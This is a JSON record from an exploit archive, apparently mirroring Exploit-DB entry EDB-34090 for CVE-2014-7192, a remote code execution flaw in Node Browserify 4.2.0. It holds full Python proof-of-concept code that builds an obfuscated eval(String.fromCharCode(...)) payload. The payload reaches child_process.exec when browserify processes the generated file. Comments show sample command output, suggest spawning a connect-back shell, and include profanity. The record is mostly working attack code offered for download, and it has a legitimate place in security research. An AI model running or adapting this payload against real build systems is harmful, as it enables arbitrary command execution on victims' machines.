{"exploit":{"id":"EDB-34090","name":"Node Browserify 4.2.0 - Remote Code Execution (RCE)","description":"Node Browserify 4.2.0 - Remote Code Execution (RCE)","cves":["CVE-2014-7192"],"author":"Cal Leeming","published":"2014-07-16","platform":"multiple","type":"dos","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/34090","path":"exploits/multiple/dos/34090.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-34090.py","vulnerabilities":[{"id":"CVE-2014-7192","state":"PUBLISHED","title":null,"titleSource":null,"description":"Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rational Application Developer and other products, allows remote attackers to execute arbitrary code via a crafted file.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-7192","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-7192"},"updatedAt":"2024-08-06T12:40:19.222Z","retrievedAt":"2026-11-27T13:11:00.645Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-34090.png?v=2","url":"https://exploitbin.com/exploits/EDB-34090","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-34090/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-34090/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n\n\"\"\"\nBrowserify POC exploit\n\nhttp://iops.io/blog/browserify-rce-vulnerability/\n\nTo run, just do:\n\n$ python poc.py > exploit.js\n$ browserify exploit.js\nBITCH I TOLD YOU THIS SHIT IS FABULOUS\n[[garbage output]]\n},{}]},{},[1]) 00:08:32 up 12:29,  3 users,  load average: 0.00, 0.02, 0.05\nuid=1001(foxx) gid=1001(foxx) groups=1001(foxx),27(sudo),105(fuse)\n\nYou can also spawn() and create a connect back shell.\n\nEnjoy\n\n\"\"\"\n\ndef charencode(string):\n    encoded=''\n    for char in string:\n        encoded=encoded+\",\"+str(ord(char))\n    return encoded[1:]\n\nplaintext = \"\"\"\n   var require = this.process.mainModule.require;\n   var sys = require('sys')\n   var exec = require('child_process').exec;\n   function puts(error, stdout, stderr) { sys.puts(stdout) }\n   exec(\"uptime && id\", puts);\n   console.log(\"BITCH I TOLD YOU THIS SHIT IS FABULOUS\");\n\"\"\"\n\npayload = charencode(plaintext)\nfinal = \"eval(String.fromCharCode(%s));\" %(payload)\n\nprint \"});\"\nprint final\nprint \"(function(){\"","sha256":"ead54b69c6de82ebbf4af104a5bfb25e441034f415d52b16c6deac4cfa0638cf","bytes":991,"fetchedAt":"2026-11-27T13:10:54.815Z","encoding":"utf-8 (display only; download retains original bytes)"}